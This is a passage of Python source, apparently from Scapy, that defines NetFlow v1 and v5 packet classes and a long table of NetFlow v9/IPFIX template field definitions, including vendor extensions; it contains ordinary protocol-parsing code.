fields_desc = [IPField("ipsrc", "0.0.0.0"), IPField("ipdst", "0.0.0.0"), IPField("nexthop", "0.0.0.0"), ShortField("inputIfIndex", 0), ShortField("outpuIfIndex", 0), IntField("dpkts", 0), IntField("dbytes", 0), IntField("starttime", 0), IntField("endtime", 0), ShortField("srcport", 0), ShortField("dstport", 0), ShortField("padding", 0), ByteField("proto", 0), ByteField("tos", 0), IntField("padding1", 0), IntField("padding2", 0)] bind_layers(NetflowHeader, NetflowHeaderV1, version=1) bind_layers(NetflowHeaderV1, NetflowRecordV1) bind_layers(NetflowRecordV1, NetflowRecordV1) ######################################### # Netflow Version 5 ######################################### class NetflowHeaderV5(Packet): name = "Netflow Header v5" fields_desc = [ShortField("count", None), IntField("sysUptime", 0), UTCTimeField("unixSecs", 0), UTCTimeField("unixNanoSeconds", 0, use_nano=True), IntField("flowSequence", 0), ByteField("engineType", 0), ByteField("engineID", 0), ShortField("samplingInterval", 0)] def post_build(self, pkt, pay): if self.count is None: count = len(self.layers()) - 1 pkt = struct.pack("!H", count) + pkt[2:] return pkt + pay class NetflowRecordV5(Packet): name = "Netflow Record v5" fields_desc = [IPField("src", "127.0.0.1"), IPField("dst", "127.0.0.1"), IPField("nexthop", "0.0.0.0"), ShortField("input", 0), ShortField("output", 0), IntField("dpkts", 1), IntField("dOctets", 60), IntField("first", 0), IntField("last", 0), ShortField("srcport", 0), ShortField("dstport", 0), ByteField("pad1", 0), FlagsField("tcpFlags", 0x2, 8, "FSRPAUEC"), ByteEnumField("prot", socket.IPPROTO_TCP, IP_PROTOS), ByteField("tos", 0), ShortField("src_as", 0), ShortField("dst_as", 0), ByteField("src_mask", 0), ByteField("dst_mask", 0), ShortField("pad2", 0)] bind_layers(NetflowHeader, NetflowHeaderV5, version=5) bind_layers(NetflowHeaderV5, NetflowRecordV5) bind_layers(NetflowRecordV5, NetflowRecordV5) ######################################### # Netflow Version 9/10 ######################################### # NetflowV9 RFC # https://www.ietf.org/rfc/rfc3954.txt # IPFix RFC # https://tools.ietf.org/html/rfc5101 # https://tools.ietf.org/html/rfc5655 @dataclasses.dataclass class _N910F: name: str length: int = 0 field: Field = None kwargs: Dict[str, Any] = dataclasses.field(default_factory=dict) isint: bool = False # NetflowV9 Ready-made fields class ShortOrInt(IntField): def getfield(self, pkt, x): if len(x) == 2: Field.__init__(self, self.name, self.default, fmt="!H") return Field.getfield(self, pkt, x) class _AdjustableNetflowField(IntField, LongField): """Fields that can receive a length kwarg, even though they normally can't. Netflow usage only.""" def __init__(self, name, default, length): if length == 4: IntField.__init__(self, name, default) return elif length == 8: LongField.__init__(self, name, default) return LongField.__init__(self, name, default) class N9SecondsIntField(SecondsIntField, _AdjustableNetflowField): """Defines dateTimeSeconds (without EPOCH: just seconds)""" def __init__(self, name, default, *args, **kargs): length = kargs.pop("length", 8) SecondsIntField.__init__(self, name, default, *args, **kargs) _AdjustableNetflowField.__init__( self, name, default, length ) class N9UTCTimeField(UTCTimeField, _AdjustableNetflowField): """Defines dateTimeSeconds (EPOCH)""" def __init__(self, name, default, *args, **kargs): length = kargs.pop("length", 8) UTCTimeField.__init__(self, name, default, *args, **kargs) _AdjustableNetflowField.__init__( self, name, default, length ) # TODO: There are hundreds of entries to add to the following list :( # it's thus incomplete. # https://www.iana.org/assignments/ipfix/ipfix.xml # ==> feel free to contribute :D # XXX: we should probably switch the names below to IANA normalized ones. # This is v9_v10_template_types (with names from the rfc for the first 79) # https://github.com/wireshark/wireshark/blob/master/epan/dissectors/packet-netflow.c # noqa: E501 # (it has all values external to the RFC) NTOP_BASE = 57472 NetflowV910TemplateFields = { 1: _N910F("IN_BYTES", length=4, isint=True), 2: _N910F("IN_PKTS", length=4, isint=True), 3: _N910F("FLOWS", length=4), 4: _N910F("PROTOCOL", length=1, field=ByteEnumField, kwargs={"enum": IP_PROTOS}), 5: _N910F("TOS", length=1, field=XByteField), 6: _N910F("TCP_FLAGS", length=1, field=ByteField), 7: _N910F("L4_SRC_PORT", length=2, field=ShortField), 8: _N910F("IPV4_SRC_ADDR", length=4, field=IPField), 9: _N910F("SRC_MASK", length=1, field=ByteField), 10: _N910F("INPUT_SNMP", isint=True), 11: _N910F("L4_DST_PORT", length=2, field=ShortField), 12: _N910F("IPV4_DST_ADDR", length=4, field=IPField), 13: _N910F("DST_MASK", length=1, field=ByteField), 14: _N910F("OUTPUT_SNMP", isint=True), 15: _N910F("IPV4_NEXT_HOP", length=4, field=IPField), 16: _N910F("SRC_AS", length=2, field=ShortOrInt), 17: _N910F("DST_AS", length=2, field=ShortOrInt), 18: _N910F("BGP_IPV4_NEXT_HOP", length=4, field=IPField), 19: _N910F("MUL_DST_PKTS", length=4, isint=True), 20: _N910F("MUL_DST_BYTES", length=4, isint=True), 21: _N910F("LAST_SWITCHED", length=4, field=SecondsIntField, kwargs={"use_msec": True}), 22: _N910F("FIRST_SWITCHED", length=4, field=SecondsIntField, kwargs={"use_msec": True}), 23: _N910F("OUT_BYTES", length=4, isint=True), 24: _N910F("OUT_PKTS", length=4, isint=True), 25: _N910F("IP_LENGTH_MINIMUM"), 26: _N910F("IP_LENGTH_MAXIMUM"), 27: _N910F("IPV6_SRC_ADDR", length=16, field=IP6Field), 28: _N910F("IPV6_DST_ADDR", length=16, field=IP6Field), 29: _N910F("IPV6_SRC_MASK", length=1, field=ByteField), 30: _N910F("IPV6_DST_MASK", length=1, field=ByteField), 31: _N910F("IPV6_FLOW_LABEL", length=3, field=ThreeBytesField), 32: _N910F("ICMP_TYPE", length=2, field=XShortField), 33: _N910F("MUL_IGMP_TYPE", length=1, field=ByteField), 34: _N910F("SAMPLING_INTERVAL", length=4, field=IntField), 35: _N910F("SAMPLING_ALGORITHM", length=1, field=XByteField), 36: _N910F("FLOW_ACTIVE_TIMEOUT", length=2, field=ShortField), 37: _N910F("FLOW_INACTIVE_TIMEOUT", length=2, field=ShortField), 38: _N910F("ENGINE_TYPE", length=1, field=ByteField), 39: _N910F("ENGINE_ID", length=1, field=ByteField), 40: _N910F("TOTAL_BYTES_EXP", length=4, isint=True), 41: _N910F("TOTAL_PKTS_EXP", length=4, isint=True), 42: _N910F("TOTAL_FLOWS_EXP", length=4, isint=True), 43: _N910F("IPV4_ROUTER_SC"), 44: _N910F("IP_SRC_PREFIX"), 45: _N910F("IP_DST_PREFIX"), 46: _N910F("MPLS_TOP_LABEL_TYPE", length=1, field=ByteEnumField, kwargs={"enum": { 0x00: "UNKNOWN", 0x01: "TE-MIDPT", 0x02: "ATOM", 0x03: "VPN", 0x04: "BGP", 0x05: "LDP", }}), 47: _N910F("MPLS_TOP_LABEL_IP_ADDR", length=4, field=IPField), 48: _N910F("FLOW_SAMPLER_ID", length=4), # from ERRATA 49: _N910F("FLOW_SAMPLER_MODE", length=1, field=ByteField), 50: _N910F("FLOW_SAMPLER_RANDOM_INTERVAL", length=4, field=IntField), 51: _N910F("FLOW_CLASS"), 52: _N910F("MIN_TTL"), 53: _N910F("MAX_TTL"), 54: _N910F("IPV4_IDENT"), 55: _N910F("DST_TOS", length=1, field=XByteField), 56: _N910F("SRC_MAC", length=6, field=MACField), 57: _N910F("DST_MAC", length=6, field=MACField), 58: _N910F("SRC_VLAN", length=2, field=ShortField), 59: _N910F("DST_VLAN", length=2, field=ShortField), 60: _N910F("IP_PROTOCOL_VERSION", length=1, field=ByteField), 61: _N910F("DIRECTION", length=1, field=ByteEnumField, kwargs={"enum": {0x00: "Ingress flow", 0x01: "Egress flow"}}), 62: _N910F("IPV6_NEXT_HOP", length=16, field=IP6Field), 63: _N910F("BGP_IPV6_NEXT_HOP", length=16, field=IP6Field), 64: _N910F("IPV6_OPTION_HEADERS", length=4), 70: _N910F("MPLS_LABEL_1", length=3, field=ThreeBytesField), 71: _N910F("MPLS_LABEL_2", length=3, field=ThreeBytesField), 72: _N910F("MPLS_LABEL_3", length=3, field=ThreeBytesField), 73: _N910F("MPLS_LABEL_4", length=3, field=ThreeBytesField), 74: _N910F("MPLS_LABEL_5", length=3, field=ThreeBytesField), 75: _N910F("MPLS_LABEL_6", length=3, field=ThreeBytesField), 76: _N910F("MPLS_LABEL_7", length=3, field=ThreeBytesField), 77: _N910F("MPLS_LABEL_8", length=3, field=ThreeBytesField), 78: _N910F("MPLS_LABEL_9", length=3, field=ThreeBytesField), 79: _N910F("MPLS_LABEL_10", length=3, field=ThreeBytesField), 80: _N910F("DESTINATION_MAC"), 81: _N910F("SOURCE_MAC"), 82: _N910F("IF_NAME"), 83: _N910F("IF_DESC"), 84: _N910F("SAMPLER_NAME"), 85: _N910F("BYTES_TOTAL"), 86: _N910F("PACKETS_TOTAL"), 88: _N910F("FRAGMENT_OFFSET"), 89: _N910F("FORWARDING_STATUS"), 90: _N910F("VPN_ROUTE_DISTINGUISHER"), 91: _N910F("mplsTopLabelPrefixLength"), 92: _N910F("SRC_TRAFFIC_INDEX"), 93: _N910F("DST_TRAFFIC_INDEX"), 94: _N910F("APPLICATION_DESC"), 95: _N910F("APPLICATION_ID"), 96: _N910F("APPLICATION_NAME"), 98: _N910F("postIpDiffServCodePoint"), 99: _N910F("multicastReplicationFactor"), 101: _N910F("classificationEngineId"), 128: _N910F("DST_AS_PEER"), 129: _N910F("SRC_AS_PEER"), 130: _N910F("exporterIPv4Address", length=4, field=IPField), 131: _N910F("exporterIPv6Address", length=16, field=IP6Field), 132: _N910F("DROPPED_BYTES"), 133: _N910F("DROPPED_PACKETS"), 134: _N910F("DROPPED_BYTES_TOTAL"), 135: _N910F("DROPPED_PACKETS_TOTAL"), 136: _N910F("flowEndReason"), 137: _N910F("commonPropertiesId"), 138: _N910F("observationPointId"), 139: _N910F("icmpTypeCodeIPv6"), 140: _N910F("MPLS_TOP_LABEL_IPv6_ADDRESS"), 141: _N910F("lineCardId"), 142: _N910F("portId"), 143: _N910F("meteringProcessId"), 144: _N910F("FLOW_EXPORTER"), 145: _N910F("templateId"), 146: _N910F("wlanChannelId"), 147: _N910F("wlanSSID"), 148: _N910F("flowId"), 149: _N910F("observationDomainId"), 150: _N910F("flowStartSeconds", length=8, field=N9UTCTimeField), 151: _N910F("flowEndSeconds", length=8, field=N9UTCTimeField), 152: _N910F("flowStartMilliseconds", length=8, field=N9UTCTimeField, kwargs={"use_msec": True}), 153: _N910F("flowEndMilliseconds", length=8, field=N9UTCTimeField, kwargs={"use_msec": True}), 154: _N910F("flowStartMicroseconds", length=8, field=N9UTCTimeField, kwargs={"use_micro": True}), 155: _N910F("flowEndMicroseconds", length=8, field=N9UTCTimeField, kwargs={"use_micro": True}), 156: _N910F("flowStartNanoseconds", length=8, field=N9UTCTimeField, kwargs={"use_nano": True}), 157: _N910F("flowEndNanoseconds", length=8, field=N9UTCTimeField, kwargs={"use_nano": True}), 158: _N910F("flowStartDeltaMicroseconds", length=8, field=N9SecondsIntField, kwargs={"use_micro": True}), 159: _N910F("flowEndDeltaMicroseconds", length=8, field=N9SecondsIntField, kwargs={"use_micro": True}), 160: _N910F("systemInitTimeMilliseconds", length=8, field=N9UTCTimeField, kwargs={"use_msec": True}), 161: _N910F("flowDurationMilliseconds", length=8, field=N9SecondsIntField, kwargs={"use_msec": True}), 162: _N910F("flowDurationMicroseconds", length=8, field=N9SecondsIntField, kwargs={"use_micro": True}), 163: _N910F("observedFlowTotalCount"), 164: _N910F("ignoredPacketTotalCount"), 165: _N910F("ignoredOctetTotalCount"), 166: _N910F("notSentFlowTotalCount"), 167: _N910F("notSentPacketTotalCount"), 168: _N910F("notSentOctetTotalCount"), 169: _N910F("destinationIPv6Prefix"), 170: _N910F("sourceIPv6Prefix"), 171: _N910F("postOctetTotalCount"), 172: _N910F("postPacketTotalCount"), 173: _N910F("flowKeyIndicator"), 174: _N910F("postMCastPacketTotalCount"), 175: _N910F("postMCastOctetTotalCount"), 176: _N910F("ICMP_IPv4_TYPE"), 177: _N910F("ICMP_IPv4_CODE"), 178: _N910F("ICMP_IPv6_TYPE"), 179: _N910F("ICMP_IPv6_CODE"), 180: _N910F("UDP_SRC_PORT"), 181: _N910F("UDP_DST_PORT"), 182: _N910F("TCP_SRC_PORT"), 183: _N910F("TCP_DST_PORT"), 184: _N910F("TCP_SEQ_NUM"), 185: _N910F("TCP_ACK_NUM"), 186: _N910F("TCP_WINDOW_SIZE"), 187: _N910F("TCP_URGENT_PTR"), 188: _N910F("TCP_HEADER_LEN"), 189: _N910F("IP_HEADER_LEN"), 190: _N910F("IP_TOTAL_LEN"), 191: _N910F("payloadLengthIPv6"), 192: _N910F("IP_TTL"), 193: _N910F("nextHeaderIPv6"), 194: _N910F("mplsPayloadLength"), 195: _N910F("IP_DSCP", length=1, field=XByteField), 196: _N910F("IP_PRECEDENCE"), 197: _N910F("IP_FRAGMENT_FLAGS"), 198: _N910F("DELTA_BYTES_SQUARED"), 199: _N910F("TOTAL_BYTES_SQUARED"), 200: _N910F("MPLS_TOP_LABEL_TTL"), 201: _N910F("MPLS_LABEL_STACK_OCTETS"), 202: _N910F("MPLS_LABEL_STACK_DEPTH"), 203: _N910F("MPLS_TOP_LABEL_EXP"), 204: _N910F("IP_PAYLOAD_LENGTH"), 205: _N910F("UDP_LENGTH"), 206: _N910F("IS_MULTICAST"), 207: _N910F("IP_HEADER_WORDS"), 208: _N910F("IP_OPTION_MAP"), 209: _N910F("TCP_OPTION_MAP"), 210: _N910F("paddingOctets"), 211: _N910F("collectorIPv4Address", length=4, field=IPField), 212: _N910F("collectorIPv6Address", length=16, field=IP6Field), 213: _N910F("collectorInterface"), 214: _N910F("collectorProtocolVersion"), 215: _N910F("collectorTransportProtocol"), 216: _N910F("collectorTransportPort"), 217: _N910F("exporterTransportPort"), 218: _N910F("tcpSynTotalCount"), 219: _N910F("tcpFinTotalCount"), 220: _N910F("tcpRstTotalCount"), 221: _N910F("tcpPshTotalCount"), 222: _N910F("tcpAckTotalCount"), 223: _N910F("tcpUrgTotalCount"), 224: _N910F("ipTotalLength"), 225: _N910F("postNATSourceIPv4Address", length=4, field=IPField), 226: _N910F("postNATDestinationIPv4Address", length=4, field=IPField), 227: _N910F("postNAPTSourceTransportPort"), 228: _N910F("postNAPTDestinationTransportPort"), 229: _N910F("natOriginatingAddressRealm"), 230: _N910F("natEvent"), 231: _N910F("initiatorOctets"), 232: _N910F("responderOctets"), 233: _N910F("firewallEvent"), 234: _N910F("ingressVRFID"), 235: _N910F("egressVRFID"), 236: _N910F("VRFname"), 237: _N910F("postMplsTopLabelExp"), 238: _N910F("tcpWindowScale"), 239: _N910F("biflowDirection"), 240: _N910F("ethernetHeaderLength"), 241: _N910F("ethernetPayloadLength"), 242: _N910F("ethernetTotalLength"), 243: _N910F("dot1qVlanId"), 244: _N910F("dot1qPriority"), 245: _N910F("dot1qCustomerVlanId"), 246: _N910F("dot1qCustomerPriority"), 247: _N910F("metroEvcId"), 248: _N910F("metroEvcType"), 249: _N910F("pseudoWireId"), 250: _N910F("pseudoWireType"), 251: _N910F("pseudoWireControlWord"), 252: _N910F("ingressPhysicalInterface"), 253: _N910F("egressPhysicalInterface"), 254: _N910F("postDot1qVlanId"), 255: _N910F("postDot1qCustomerVlanId"), 256: _N910F("ethernetType"), 257: _N910F("postIpPrecedence"), 258: _N910F("collectionTimeMilliseconds", length=8, field=N9SecondsIntField, kwargs={"use_msec": True}), 259: _N910F("exportSctpStreamId"), 260: _N910F("maxExportSeconds", length=8, field=N9SecondsIntField), 261: _N910F("maxFlowEndSeconds", length=8, field=N9SecondsIntField), 262: _N910F("messageMD5Checksum"), 263: _N910F("messageScope"), 264: _N910F("minExportSeconds", length=8, field=N9SecondsIntField), 265: _N910F("minFlowStartSeconds", length=8, field=N9SecondsIntField), 266: _N910F("opaqueOctets"), 267: _N910F("sessionScope"), 268: _N910F("maxFlowEndMicroseconds", length=8, field=N9UTCTimeField, kwargs={"use_micro": True}), 269: _N910F("maxFlowEndMilliseconds", length=8, field=N9UTCTimeField, kwargs={"use_msec": True}), 270: _N910F("maxFlowEndNanoseconds", length=8, field=N9UTCTimeField, kwargs={"use_nano": True}), 271: _N910F("minFlowStartMicroseconds", length=8, field=N9UTCTimeField, kwargs={"use_micro": True}), 272: _N910F("minFlowStartMilliseconds", length=8, field=N9UTCTimeField, kwargs={"use_msec": True}), 273: _N910F("minFlowStartNanoseconds", length=8, field=N9UTCTimeField, kwargs={"use_nano": True}), 274: _N910F("collectorCertificate"), 275: _N910F("exporterCertificate"), 276: _N910F("dataRecordsReliability"), 277: _N910F("observationPointType"), 278: _N910F("newConnectionDeltaCount"), 279: _N910F("connectionSumDurationSeconds", length=8, field=N9SecondsIntField), 280: _N910F("connectionTransactionId"), 281: _N910F("postNATSourceIPv6Address", length=16, field=IP6Field), 282: _N910F("postNATDestinationIPv6Address", length=16, field=IP6Field), 283: _N910F("natPoolId"), 284: _N910F("natPoolName"), 285: _N910F("anonymizationFlags"), 286: _N910F("anonymizationTechnique"), 287: _N910F("informationElementIndex"), 288: _N910F("p2pTechnology"), 289: _N910F("tunnelTechnology"), 290: _N910F("encryptedTechnology"), 291: _N910F("basicList"), 292: _N910F("subTemplateList"), 293: _N910F("subTemplateMultiList"), 294: _N910F("bgpValidityState"), 295: _N910F("IPSecSPI"), 296: _N910F("greKey"), 297: _N910F("natType"), 298: _N910F("initiatorPackets"), 299: _N910F("responderPackets"), 300: _N910F("observationDomainName"), 301: _N910F("selectionSequenceId"), 302: _N910F("selectorId"), 303: _N910F("informationElementId"), 304: _N910F("selectorAlgorithm"), 305: _N910F("samplingPacketInterval"), 306: _N910F("samplingPacketSpace"), 307: _N910F("samplingTimeInterval"), 308: _N910F("samplingTimeSpace"), 309: _N910F("samplingSize"), 310: _N910F("samplingPopulation"), 311: _N910F("samplingProbability"), 312: _N910F("dataLinkFrameSize"), 313: _N910F("IP_SECTION_HEADER"), 314: _N910F("IP_SECTION_PAYLOAD"), 315: _N910F("dataLinkFrameSection"), 316: _N910F("mplsLabelStackSection"), 317: _N910F("mplsPayloadPacketSection"), 318: _N910F("selectorIdTotalPktsObserved"), 319: _N910F("selectorIdTotalPktsSelected"), 320: _N910F("absoluteError"), 321: _N910F("relativeError"), 322: _N910F("observationTimeSeconds", length=8, field=N9UTCTimeField), 323: _N910F("observationTimeMilliseconds", length=8, field=N9UTCTimeField, kwargs={"use_msec": True}), 324: _N910F("observationTimeMicroseconds", length=8, field=N9UTCTimeField, kwargs={"use_micro": True}), 325: _N910F("observationTimeNanoseconds", length=8, field=N9UTCTimeField, kwargs={"use_nano": True}), 326: _N910F("digestHashValue"), 327: _N910F("hashIPPayloadOffset"), 328: _N910F("hashIPPayloadSize"), 329: _N910F("hashOutputRangeMin"), 330: _N910F("hashOutputRangeMax"), 331: _N910F("hashSelectedRangeMin"), 332: _N910F("hashSelectedRangeMax"), 333: _N910F("hashDigestOutput"), 334: _N910F("hashInitialiserValue"), 335: _N910F("selectorName"), 336: _N910F("upperCILimit"), 337: _N910F("lowerCILimit"), 338: _N910F("confidenceLevel"), 339: _N910F("informationElementDataType"), 340: _N910F("informationElementDescription"), 341: _N910F("informationElementName"), 342: _N910F("informationElementRangeBegin"), 343: _N910F("informationElementRangeEnd"), 344: _N910F("informationElementSemantics"), 345: _N910F("informationElementUnits"), 346: _N910F("privateEnterpriseNumber"), 347: _N910F("virtualStationInterfaceId"), 348: _N910F("virtualStationInterfaceName"), 349: _N910F("virtualStationUUID"), 350: _N910F("virtualStationName"), 351: _N910F("layer2SegmentId"), 352: _N910F("layer2OctetDeltaCount"), 353: _N910F("layer2OctetTotalCount"), 354: _N910F("ingressUnicastPacketTotalCount"), 355: _N910F("ingressMulticastPacketTotalCount"), 356: _N910F("ingressBroadcastPacketTotalCount"), 357: _N910F("egressUnicastPacketTotalCount"), 358: _N910F("egressBroadcastPacketTotalCount"), 359: _N910F("monitoringIntervalStartMilliSeconds"), 360: _N910F("monitoringIntervalEndMilliSeconds"), 361: _N910F("portRangeStart"), 362: _N910F("portRangeEnd"), 363: _N910F("portRangeStepSize"), 364: _N910F("portRangeNumPorts"), 365: _N910F("staMacAddress", length=6, field=MACField), 366: _N910F("staIPv4Address", length=4, field=IPField), 367: _N910F("wtpMacAddress", length=6, field=MACField), 368: _N910F("ingressInterfaceType"), 369: _N910F("egressInterfaceType"), 370: _N910F("rtpSequenceNumber"), 371: _N910F("userName"), 372: _N910F("applicationCategoryName"), 373: _N910F("applicationSubCategoryName"), 374: _N910F("applicationGroupName"), 375: _N910F("originalFlowsPresent"), 376: _N910F("originalFlowsInitiated"), 377: _N910F("originalFlowsCompleted"), 378: _N910F("distinctCountOfSourceIPAddress"), 379: _N910F("distinctCountOfDestinationIPAddress"), 380: _N910F("distinctCountOfSourceIPv4Address", length=4, field=IPField), 381: _N910F("distinctCountOfDestinationIPv4Address", length=4, field=IPField), 382: _N910F("distinctCountOfSourceIPv6Address", length=16, field=IP6Field), 383: _N910F("distinctCountOfDestinationIPv6Address", length=16, field=IP6Field), 384: _N910F("valueDistributionMethod"), 385: _N910F("rfc3550JitterMilliseconds"), 386: _N910F("rfc3550JitterMicroseconds"), 387: _N910F("rfc3550JitterNanoseconds"), 388: _N910F("dot1qDEI"), 389: _N910F("dot1qCustomerDEI"), 390: _N910F("flowSelectorAlgorithm"), 391: _N910F("flowSelectedOctetDeltaCount"), 392: _N910F("flowSelectedPacketDeltaCount"), 393: _N910F("flowSelectedFlowDeltaCount"), 394: _N910F("selectorIDTotalFlowsObserved"), 395: _N910F("selectorIDTotalFlowsSelected"), 396: _N910F("samplingFlowInterval"), 397: _N910F("samplingFlowSpacing"), 398: _N910F("flowSamplingTimeInterval"), 399: _N910F("flowSamplingTimeSpacing"), 400: _N910F("hashFlowDomain"), 401: _N910F("transportOctetDeltaCount"), 402: _N910F("transportPacketDeltaCount"), 403: _N910F("originalExporterIPv4Address", length=4, field=IPField), 404: _N910F("originalExporterIPv6Address", length=16, field=IP6Field), 405: _N910F("originalObservationDomainId"), 406: _N910F("intermediateProcessId"), 407: _N910F("ignoredDataRecordTotalCount"), 408: _N910F("dataLinkFrameType"), 409: _N910F("sectionOffset"), 410: _N910F("sectionExportedOctets"), 411: _N910F("dot1qServiceInstanceTag"), 412: _N910F("dot1qServiceInstanceId"), 413: _N910F("dot1qServiceInstancePriority"), 414: _N910F("dot1qCustomerSourceMacAddress", length=6, field=MACField), 415: _N910F("dot1qCustomerDestinationMacAddress", length=6, field=MACField), 416: _N910F("deprecated [dup of layer2OctetDeltaCount]"), 417: _N910F("postLayer2OctetDeltaCount"), 418: _N910F("postMCastLayer2OctetDeltaCount"), 419: _N910F("deprecated [dup of layer2OctetTotalCount"), 420: _N910F("postLayer2OctetTotalCount"), 421: _N910F("postMCastLayer2OctetTotalCount"), 422: _N910F("minimumLayer2TotalLength"), 423: _N910F("maximumLayer2TotalLength"), 424: _N910F("droppedLayer2OctetDeltaCount"), 425: _N910F("droppedLayer2OctetTotalCount"), 426: _N910F("ignoredLayer2OctetTotalCount"), 427: _N910F("notSentLayer2OctetTotalCount"), 428: _N910F("layer2OctetDeltaSumOfSquares"), 429: _N910F("layer2OctetTotalSumOfSquares"), 430: _N910F("layer2FrameDeltaCount"), 431: _N910F("layer2FrameTotalCount"), 432: _N910F("pseudoWireDestinationIPv4Address", length=4, field=IPField), 433: _N910F("ignoredLayer2FrameTotalCount"), 434: _N910F("mibObjectValueInteger"), 435: _N910F("mibObjectValueOctetString"), 436: _N910F("mibObjectValueOID"), 437: _N910F("mibObjectValueBits"), 438: _N910F("mibObjectValueIPAddress"), 439: _N910F("mibObjectValueCounter"), 440: _N910F("mibObjectValueGauge"), 441: _N910F("mibObjectValueTimeTicks"), 442: _N910F("mibObjectValueUnsigned"), 443: _N910F("mibObjectValueTable"), 444: _N910F("mibObjectValueRow"), 445: _N910F("mibObjectIdentifier"), 446: _N910F("mibSubIdentifier"), 447: _N910F("mibIndexIndicator"), 448: _N910F("mibCaptureTimeSemantics"), 449: _N910F("mibContextEngineID"), 450: _N910F("mibContextName"), 451: _N910F("mibObjectName"), 452: _N910F("mibObjectDescription"), 453: _N910F("mibObjectSyntax"), 454: _N910F("mibModuleName"), 455: _N910F("mobileIMSI"), 456: _N910F("mobileMSISDN"), 457: _N910F("httpStatusCode"), 458: _N910F("sourceTransportPortsLimit"), 459: _N910F("httpRequestMethod"), 460: _N910F("httpRequestHost"), 461: _N910F("httpRequestTarget"), 462: _N910F("httpMessageVersion"), 463: _N910F("natInstanceID"), 464: _N910F("internalAddressRealm"), 465: _N910F("externalAddressRealm"), 466: _N910F("natQuotaExceededEvent"), 467: _N910F("natThresholdEvent"), 468: _N910F("httpUserAgent"), 469: _N910F("httpContentType"), 470: _N910F("httpReasonPhrase"), 471: _N910F("maxSessionEntries"), 472: _N910F("maxBIBEntries"), 473: _N910F("maxEntriesPerUser"), 474: _N910F("maxSubscribers"), 475: _N910F("maxFragmentsPendingReassembly"), 476: _N910F("addressPoolHighThreshold"), 477: _N910F("addressPoolLowThreshold"), 478: _N910F("addressPortMappingHighThreshold"), 479: _N910F("addressPortMappingLowThreshold"), 480: _N910F("addressPortMappingPerUserHighThreshold"), 481: _N910F("globalAddressMappingHighThreshold"), # Ericsson NAT Logging 24628: _N910F("NAT_LOG_FIELD_IDX_CONTEXT_ID"), 24629: _N910F("NAT_LOG_FIELD_IDX_CONTEXT_NAME"), 24630: _N910F("NAT_LOG_FIELD_IDX_ASSIGN_TS_SEC"), 24631: _N910F("NAT_LOG_FIELD_IDX_UNASSIGN_TS_SEC"), 24632: _N910F("NAT_LOG_FIELD_IDX_IPV4_INT_ADDR", length=4, field=IPField), 24633: _N910F("NAT_LOG_FIELD_IDX_IPV4_EXT_ADDR", length=4, field=IPField), 24634: _N910F("NAT_LOG_FIELD_IDX_EXT_PORT_FIRST"), 24635: _N910F("NAT_LOG_FIELD_IDX_EXT_PORT_LAST"), # Cisco ASA5500 Series NetFlow 33000: _N910F("INGRESS_ACL_ID"), 33001: _N910F("EGRESS_ACL_ID"), 33002: _N910F("FW_EXT_EVENT"), # Cisco TrustSec 34000: _N910F("SGT_SOURCE_TAG"), 34001: _N910F("SGT_DESTINATION_TAG"), 34002: _N910F("SGT_SOURCE_NAME"), 34003: _N910F("SGT_DESTINATION_NAME"), # medianet performance monitor 37000: _N910F("PACKETS_DROPPED"), 37003: _N910F("BYTE_RATE"), 37004: _N910F("APPLICATION_MEDIA_BYTES"), 37006: _N910F("APPLICATION_MEDIA_BYTE_RATE"), 37007: _N910F("APPLICATION_MEDIA_PACKETS"), 37009: _N910F("APPLICATION_MEDIA_PACKET_RATE"), 37011: _N910F("APPLICATION_MEDIA_EVENT"), 37012: _N910F("MONITOR_EVENT"), 37013: _N910F("TIMESTAMP_INTERVAL"), 37014: _N910F("TRANSPORT_PACKETS_EXPECTED"), 37016: _N910F("TRANSPORT_ROUND_TRIP_TIME"), 37017: _N910F("TRANSPORT_EVENT_PACKET_LOSS"), 37019: _N910F("TRANSPORT_PACKETS_LOST"), 37021: _N910F("TRANSPORT_PACKETS_LOST_RATE"), 37022: _N910F("TRANSPORT_RTP_SSRC"), 37023: _N910F("TRANSPORT_RTP_JITTER_MEAN"), 37024: _N910F("TRANSPORT_RTP_JITTER_MIN"), 37025: _N910F("TRANSPORT_RTP_JITTER_MAX"), 37041: _N910F("TRANSPORT_RTP_PAYLOAD_TYPE"), 37071: _N910F("TRANSPORT_BYTES_OUT_OF_ORDER"), 37074: _N910F("TRANSPORT_PACKETS_OUT_OF_ORDER"), 37083: _N910F("TRANSPORT_TCP_WINDOWS_SIZE_MIN"), 37084: _N910F("TRANSPORT_TCP_WINDOWS_SIZE_MAX"), 37085: _N910F("TRANSPORT_TCP_WINDOWS_SIZE_MEAN"), 37086: _N910F("TRANSPORT_TCP_MAXIMUM_SEGMENT_SIZE"), # Cisco ASA 5500 40000: _N910F("AAA_USERNAME"), 40001: _N910F("XLATE_SRC_ADDR_IPV4", length=4, field=IPField), 40002: _N910F("XLATE_DST_ADDR_IPV4", length=4, field=IPField), 40003: _N910F("XLATE_SRC_PORT"), 40004: _N910F("XLATE_DST_PORT"), 40005: _N910F("FW_EVENT"), # v9 nTop extensions 80 + NTOP_BASE: _N910F("SRC_FRAGMENTS"), 81 + NTOP_BASE: _N910F("DST_FRAGMENTS"), 82 + NTOP_BASE: _N910F("SRC_TO_DST_MAX_THROUGHPUT"), 83 + NTOP_BASE: _N910F("SRC_TO_DST_MIN_THROUGHPUT"), 84 + NTOP_BASE: _N910F("SRC_TO_DST_AVG_THROUGHPUT"), 85 + NTOP_BASE: _N910F("SRC_TO_SRC_MAX_THROUGHPUT"), 86 + NTOP_BASE: _N910F("SRC_TO_SRC_MIN_THROUGHPUT"), 87 + NTOP_BASE: _N910F("SRC_TO_SRC_AVG_THROUGHPUT"), 88 + NTOP_BASE: _N910F("NUM_PKTS_UP_TO_128_BYTES"), 89 + NTOP_BASE: _N910F("NUM_PKTS_128_TO_256_BYTES"), 90 + NTOP_BASE: _N910F("NUM_PKTS_256_TO_512_BYTES"), 91 + NTOP_BASE: _N910F("NUM_PKTS_512_TO_1024_BYTES"), 92 + NTOP_BASE: _N910F("NUM_PKTS_1024_TO_1514_BYTES"), 93 + NTOP_BASE: _N910F("NUM_PKTS_OVER_1514_BYTES"), 98 + NTOP_BASE: _N910F("CUMULATIVE_ICMP_TYPE"), 101 + NTOP_BASE: _N910F("SRC_IP_COUNTRY"), 102 + NTOP_BASE: _N910F("SRC_IP_CITY"), 103 + NTOP_BASE: _N910F("DST_IP_COUNTRY"), 104 + NTOP_BASE: _N910F("DST_IP_CITY"), 105 + NTOP_BASE: _N910F("FLOW_PROTO_PORT"), 106 + NTOP_BASE: _N910F("UPSTREAM_TUNNEL_ID"), 107 + NTOP_BASE: 